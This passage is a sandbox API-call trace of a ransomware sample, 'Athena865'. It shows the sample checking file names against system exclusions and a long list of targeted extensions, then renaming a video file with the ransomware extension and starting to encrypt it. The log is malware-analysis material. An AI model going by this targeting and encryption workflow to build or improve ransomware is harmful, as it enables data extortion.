nFileSizeHigh=0x0, nFileSizeLow=0x10ad4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="veFVtkJ6vB2zgbhD4Roq.mkv", cAlternateFileName="VEFVTK~1.MKV")) returned 1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2=".") returned 1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="..") returned 1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="windows") returned -1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="bootmgr") returned 1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="temp") returned 1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="pagefile.sys") returned 1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="boot") returned 1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="ids.txt") returned 1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="ntuser.dat") returned 1 [0053.346] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="perflogs") returned 1 [0053.347] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2="MSBuild") returned 1 [0053.347] lstrlenW (lpString="veFVtkJ6vB2zgbhD4Roq.mkv") returned 24 [0053.347] lstrcpyW (in: lpString1=0x241e8b4, lpString2="veFVtkJ6vB2zgbhD4Roq.mkv" | out: lpString1="veFVtkJ6vB2zgbhD4Roq.mkv") returned="veFVtkJ6vB2zgbhD4Roq.mkv" [0053.347] lstrlenW (lpString="veFVtkJ6vB2zgbhD4Roq.mkv") returned 24 [0053.347] lstrlenW (lpString="Athena865") returned 9 [0053.347] lstrcmpiW (lpString1="D4Roq.mkv", lpString2="Athena865") returned 1 [0053.347] lstrlenW (lpString=".dll") returned 4 [0053.347] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2=".dll") returned 1 [0053.347] lstrlenW (lpString=".lnk") returned 4 [0053.347] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2=".lnk") returned 1 [0053.347] lstrlenW (lpString=".ini") returned 4 [0053.347] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2=".ini") returned 1 [0053.347] lstrlenW (lpString=".sys") returned 4 [0053.347] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv", lpString2=".sys") returned 1 [0053.347] lstrlenW (lpString="veFVtkJ6vB2zgbhD4Roq.mkv") returned 24 [0053.347] lstrlenW (lpString="bak") returned 3 [0053.347] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1 [0053.347] lstrlenW (lpString="ba_") returned 3 [0053.347] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1 [0053.347] lstrlenW (lpString="dbb") returned 3 [0053.347] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1 [0053.347] lstrlenW (lpString="vmdk") returned 4 [0053.347] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1 [0053.347] lstrlenW (lpString="rar") returned 3 [0053.347] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1 [0053.347] lstrlenW (lpString="zip") returned 3 [0053.347] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1 [0053.347] lstrlenW (lpString="tgz") returned 3 [0053.347] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1 [0053.347] lstrlenW (lpString="vbox") returned 4 [0053.347] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1 [0053.347] lstrlenW (lpString="vdi") returned 3 [0053.347] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1 [0053.348] lstrlenW (lpString="vhd") returned 3 [0053.348] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1 [0053.348] lstrlenW (lpString="vhdx") returned 4 [0053.348] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1 [0053.348] lstrlenW (lpString="avhd") returned 4 [0053.348] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1 [0053.348] lstrlenW (lpString="db") returned 2 [0053.348] lstrcmpiW (lpString1="kv", lpString2="db") returned 1 [0053.348] lstrlenW (lpString="db2") returned 3 [0053.348] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1 [0053.348] lstrlenW (lpString="db3") returned 3 [0053.348] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1 [0053.348] lstrlenW (lpString="dbf") returned 3 [0053.348] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1 [0053.348] lstrlenW (lpString="mdf") returned 3 [0053.348] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1 [0053.348] lstrlenW (lpString="mdb") returned 3 [0053.348] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1 [0053.348] lstrlenW (lpString="sql") returned 3 [0053.348] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1 [0053.348] lstrlenW (lpString="sqlite") returned 6 [0053.348] lstrcmpiW (lpString1="oq.mkv", lpString2="sqlite") returned -1 [0053.348] lstrlenW (lpString="sqlite3") returned 7 [0053.348] lstrcmpiW (lpString1="Roq.mkv", lpString2="sqlite3") returned -1 [0053.348] lstrlenW (lpString="sqlitedb") returned 8 [0053.348] lstrcmpiW (lpString1="4Roq.mkv", lpString2="sqlitedb") returned -1 [0053.348] lstrlenW (lpString="xml") returned 3 [0053.348] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1 [0053.348] lstrlenW (lpString="$er") returned 3 [0053.348] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1 [0053.348] lstrlenW (lpString="4dd") returned 3 [0053.348] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1 [0053.348] lstrlenW (lpString="4dl") returned 3 [0053.349] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1 [0053.349] lstrlenW (lpString="^^^") returned 3 [0053.349] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1 [0053.349] lstrlenW (lpString="abs") returned 3 [0053.349] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1 [0053.349] lstrlenW (lpString="abx") returned 3 [0053.349] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1 [0053.349] lstrlenW (lpString="accdb") returned 5 [0053.349] lstrcmpiW (lpString1="q.mkv", lpString2="accdb") returned 1 [0053.349] lstrlenW (lpString="accdc") returned 5 [0053.349] lstrcmpiW (lpString1="q.mkv", lpString2="accdc") returned 1 [0053.349] lstrlenW (lpString="accde") returned 5 [0053.349] lstrcmpiW (lpString1="q.mkv", lpString2="accde") returned 1 [0053.349] lstrlenW (lpString="accdr") returned 5 [0053.349] lstrcmpiW (lpString1="q.mkv", lpString2="accdr") returned 1 [0053.349] lstrlenW (lpString="accdt") returned 5 [0053.349] lstrcmpiW (lpString1="q.mkv", lpString2="accdt") returned 1 [0053.349] lstrlenW (lpString="accdw") returned 5 [0053.349] lstrcmpiW (lpString1="q.mkv", lpString2="accdw") returned 1 [0053.349] lstrlenW (lpString="accft") returned 5 [0053.349] lstrcmpiW (lpString1="q.mkv", lpString2="accft") returned 1 [0053.349] lstrlenW (lpString="adb") returned 3 [0053.349] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1 [0053.349] lstrlenW (lpString="adb") returned 3 [0053.349] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1 [0053.349] lstrlenW (lpString="ade") returned 3 [0053.349] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1 [0053.349] lstrlenW (lpString="adf") returned 3 [0053.349] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1 [0053.349] lstrlenW (lpString="adn") returned 3 [0053.349] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1 [0053.349] lstrlenW (lpString="adp") returned 3 [0053.349] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1 [0053.349] lstrlenW (lpString="alf") returned 3 [0053.350] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1 [0053.350] lstrlenW (lpString="ask") returned 3 [0053.350] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1 [0053.350] lstrlenW (lpString="btr") returned 3 [0053.350] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1 [0053.350] lstrlenW (lpString="cat") returned 3 [0053.350] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1 [0053.350] lstrlenW (lpString="cdb") returned 3 [0053.350] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1 [0053.350] lstrlenW (lpString="ckp") returned 3 [0053.350] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1 [0053.350] lstrlenW (lpString="cma") returned 3 [0053.350] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1 [0053.350] lstrlenW (lpString="cpd") returned 3 [0053.350] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1 [0053.350] lstrlenW (lpString="dacpac") returned 6 [0053.350] lstrcmpiW (lpString1="oq.mkv", lpString2="dacpac") returned 1 [0053.350] lstrlenW (lpString="dad") returned 3 [0053.350] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1 [0053.350] lstrlenW (lpString="dadiagrams") returned 10 [0053.350] lstrcmpiW (lpString1="hD4Roq.mkv", lpString2="dadiagrams") returned 1 [0053.350] lstrlenW (lpString="daschema") returned 8 [0053.350] lstrcmpiW (lpString1="4Roq.mkv", lpString2="daschema") returned -1 [0053.350] lstrlenW (lpString="db-journal") returned 10 [0053.350] lstrcmpiW (lpString1="hD4Roq.mkv", lpString2="db-journal") returned 1 [0053.350] lstrlenW (lpString="db-shm") returned 6 [0053.350] lstrcmpiW (lpString1="oq.mkv", lpString2="db-shm") returned 1 [0053.350] lstrlenW (lpString="db-wal") returned 6 [0053.350] lstrcmpiW (lpString1="oq.mkv", lpString2="db-wal") returned 1 [0053.350] lstrlenW (lpString="dbc") returned 3 [0053.350] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1 [0053.350] lstrlenW (lpString="dbs") returned 3 [0053.350] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1 [0053.350] lstrlenW (lpString="dbt") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1 [0053.351] lstrlenW (lpString="dbv") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1 [0053.351] lstrlenW (lpString="dbx") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1 [0053.351] lstrlenW (lpString="dcb") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1 [0053.351] lstrlenW (lpString="dct") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1 [0053.351] lstrlenW (lpString="dcx") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1 [0053.351] lstrlenW (lpString="ddl") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1 [0053.351] lstrlenW (lpString="dlis") returned 4 [0053.351] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1 [0053.351] lstrlenW (lpString="dp1") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1 [0053.351] lstrlenW (lpString="dqy") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1 [0053.351] lstrlenW (lpString="dsk") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1 [0053.351] lstrlenW (lpString="dsn") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1 [0053.351] lstrlenW (lpString="dtsx") returned 4 [0053.351] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1 [0053.351] lstrlenW (lpString="dxl") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1 [0053.351] lstrlenW (lpString="eco") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1 [0053.351] lstrlenW (lpString="ecx") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1 [0053.351] lstrlenW (lpString="edb") returned 3 [0053.351] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1 [0053.351] lstrlenW (lpString="epim") returned 4 [0053.352] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1 [0053.352] lstrlenW (lpString="fcd") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1 [0053.352] lstrlenW (lpString="fdb") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1 [0053.352] lstrlenW (lpString="fic") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1 [0053.352] lstrlenW (lpString="flexolibrary") returned 12 [0053.352] lstrcmpiW (lpString1="gbhD4Roq.mkv", lpString2="flexolibrary") returned 1 [0053.352] lstrlenW (lpString="fm5") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1 [0053.352] lstrlenW (lpString="fmp") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1 [0053.352] lstrlenW (lpString="fmp12") returned 5 [0053.352] lstrcmpiW (lpString1="q.mkv", lpString2="fmp12") returned 1 [0053.352] lstrlenW (lpString="fmpsl") returned 5 [0053.352] lstrcmpiW (lpString1="q.mkv", lpString2="fmpsl") returned 1 [0053.352] lstrlenW (lpString="fol") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1 [0053.352] lstrlenW (lpString="fp3") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1 [0053.352] lstrlenW (lpString="fp4") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1 [0053.352] lstrlenW (lpString="fp5") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1 [0053.352] lstrlenW (lpString="fp7") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1 [0053.352] lstrlenW (lpString="fpt") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1 [0053.352] lstrlenW (lpString="frm") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1 [0053.352] lstrlenW (lpString="gdb") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1 [0053.352] lstrlenW (lpString="gdb") returned 3 [0053.352] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1 [0053.353] lstrlenW (lpString="grdb") returned 4 [0053.353] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1 [0053.353] lstrlenW (lpString="gwi") returned 3 [0053.353] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1 [0053.353] lstrlenW (lpString="hdb") returned 3 [0053.353] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1 [0053.353] lstrlenW (lpString="his") returned 3 [0053.353] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1 [0053.353] lstrlenW (lpString="ib") returned 2 [0053.353] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1 [0053.353] lstrlenW (lpString="idb") returned 3 [0053.353] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1 [0053.353] lstrlenW (lpString="ihx") returned 3 [0053.353] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1 [0053.353] lstrlenW (lpString="itdb") returned 4 [0053.353] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1 [0053.353] lstrlenW (lpString="itw") returned 3 [0053.353] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1 [0053.353] lstrlenW (lpString="jet") returned 3 [0053.353] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1 [0053.353] lstrlenW (lpString="jtx") returned 3 [0053.353] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1 [0053.353] lstrlenW (lpString="kdb") returned 3 [0053.353] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1 [0053.353] lstrlenW (lpString="kexi") returned 4 [0053.353] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1 [0053.353] lstrlenW (lpString="kexic") returned 5 [0053.353] lstrcmpiW (lpString1="q.mkv", lpString2="kexic") returned 1 [0053.353] lstrlenW (lpString="kexis") returned 5 [0053.353] lstrcmpiW (lpString1="q.mkv", lpString2="kexis") returned 1 [0053.353] lstrlenW (lpString="lgc") returned 3 [0053.353] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1 [0053.353] lstrlenW (lpString="lwx") returned 3 [0053.353] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1 [0053.354] lstrlenW (lpString="maf") returned 3 [0053.354] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1 [0053.354] lstrlenW (lpString="maq") returned 3 [0053.354] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1 [0053.354] lstrlenW (lpString="mar") returned 3 [0053.354] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1 [0053.354] lstrlenW (lpString="marshal") returned 7 [0053.354] lstrcmpiW (lpString1="Roq.mkv", lpString2="marshal") returned 1 [0053.354] lstrlenW (lpString="mas") returned 3 [0053.354] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1 [0053.354] lstrlenW (lpString="mav") returned 3 [0053.354] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1 [0053.354] lstrlenW (lpString="maw") returned 3 [0053.355] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1 [0053.355] lstrlenW (lpString="mdbhtml") returned 7 [0053.355] lstrcmpiW (lpString1="Roq.mkv", lpString2="mdbhtml") returned 1 [0053.355] lstrlenW (lpString="mdn") returned 3 [0053.355] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1 [0053.356] lstrlenW (lpString="mdt") returned 3 [0053.356] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1 [0053.356] lstrlenW (lpString="mfd") returned 3 [0053.356] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1 [0053.356] lstrlenW (lpString="mpd") returned 3 [0053.356] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1 [0053.356] lstrlenW (lpString="mrg") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1 [0053.357] lstrlenW (lpString="mud") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1 [0053.357] lstrlenW (lpString="mwb") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1 [0053.357] lstrlenW (lpString="myd") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1 [0053.357] lstrlenW (lpString="ndf") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1 [0053.357] lstrlenW (lpString="nnt") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1 [0053.357] lstrlenW (lpString="nrmlib") returned 6 [0053.357] lstrcmpiW (lpString1="oq.mkv", lpString2="nrmlib") returned 1 [0053.357] lstrlenW (lpString="ns2") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1 [0053.357] lstrlenW (lpString="ns3") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1 [0053.357] lstrlenW (lpString="ns4") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1 [0053.357] lstrlenW (lpString="nsf") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1 [0053.357] lstrlenW (lpString="nv") returned 2 [0053.357] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1 [0053.357] lstrlenW (lpString="nv2") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1 [0053.357] lstrlenW (lpString="nwdb") returned 4 [0053.357] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1 [0053.357] lstrlenW (lpString="nyf") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1 [0053.357] lstrlenW (lpString="odb") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1 [0053.357] lstrlenW (lpString="odb") returned 3 [0053.357] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1 [0053.358] lstrlenW (lpString="oqy") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1 [0053.358] lstrlenW (lpString="ora") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1 [0053.358] lstrlenW (lpString="orx") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1 [0053.358] lstrlenW (lpString="owc") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1 [0053.358] lstrlenW (lpString="p96") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1 [0053.358] lstrlenW (lpString="p97") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1 [0053.358] lstrlenW (lpString="pan") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1 [0053.358] lstrlenW (lpString="pdb") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1 [0053.358] lstrlenW (lpString="pdm") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1 [0053.358] lstrlenW (lpString="pnz") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1 [0053.358] lstrlenW (lpString="qry") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1 [0053.358] lstrlenW (lpString="qvd") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1 [0053.358] lstrlenW (lpString="rbf") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1 [0053.358] lstrlenW (lpString="rctd") returned 4 [0053.358] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1 [0053.358] lstrlenW (lpString="rod") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1 [0053.358] lstrlenW (lpString="rodx") returned 4 [0053.358] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1 [0053.358] lstrlenW (lpString="rpd") returned 3 [0053.358] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1 [0053.359] lstrlenW (lpString="rsd") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1 [0053.359] lstrlenW (lpString="sas7bdat") returned 8 [0053.359] lstrcmpiW (lpString1="4Roq.mkv", lpString2="sas7bdat") returned -1 [0053.359] lstrlenW (lpString="sbf") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1 [0053.359] lstrlenW (lpString="scx") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1 [0053.359] lstrlenW (lpString="sdb") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1 [0053.359] lstrlenW (lpString="sdc") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1 [0053.359] lstrlenW (lpString="sdf") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1 [0053.359] lstrlenW (lpString="sis") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1 [0053.359] lstrlenW (lpString="spq") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1 [0053.359] lstrlenW (lpString="te") returned 2 [0053.359] lstrcmpiW (lpString1="kv", lpString2="te") returned -1 [0053.359] lstrlenW (lpString="teacher") returned 7 [0053.359] lstrcmpiW (lpString1="Roq.mkv", lpString2="teacher") returned -1 [0053.359] lstrlenW (lpString="tmd") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1 [0053.359] lstrlenW (lpString="tps") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1 [0053.359] lstrlenW (lpString="trc") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1 [0053.359] lstrlenW (lpString="trc") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1 [0053.359] lstrlenW (lpString="trm") returned 3 [0053.359] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1 [0053.359] lstrlenW (lpString="udb") returned 3 [0053.360] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1 [0053.360] lstrlenW (lpString="udl") returned 3 [0053.360] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1 [0053.360] lstrlenW (lpString="usr") returned 3 [0053.360] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1 [0053.360] lstrlenW (lpString="v12") returned 3 [0053.360] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1 [0053.360] lstrlenW (lpString="vis") returned 3 [0053.360] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1 [0053.360] lstrlenW (lpString="vpd") returned 3 [0053.360] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1 [0053.360] lstrlenW (lpString="vvv") returned 3 [0053.360] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1 [0053.360] lstrlenW (lpString="wdb") returned 3 [0053.360] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1 [0053.360] lstrlenW (lpString="wmdb") returned 4 [0053.360] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1 [0053.360] lstrlenW (lpString="wrk") returned 3 [0053.360] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1 [0053.360] lstrlenW (lpString="xdb") returned 3 [0053.360] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1 [0053.360] lstrlenW (lpString="xld") returned 3 [0053.360] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1 [0053.360] lstrlenW (lpString="xmlff") returned 5 [0053.360] lstrcmpiW (lpString1="q.mkv", lpString2="xmlff") returned -1 [0053.360] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\veFVtkJ6vB2zgbhD4Roq.mkv.Athena865") returned 88 [0053.360] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\veFVtkJ6vB2zgbhD4Roq.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\vefvtkj6vb2zgbhd4roq.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\veFVtkJ6vB2zgbhD4Roq.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\vefvtkj6vb2zgbhd4roq.mkv.athena865"), dwFlags=0x1) returned 1 [0053.361] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\veFVtkJ6vB2zgbhD4Roq.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\vefvtkj6vb2zgbhd4roq.mkv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.361] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=68308) returned 1 [0053.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.361] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.362] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.362] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.362] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10de0, lpName=0x0) returned 0x154 [0053.362] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10de0) returned 0x100000 [0053.365] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.365] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) 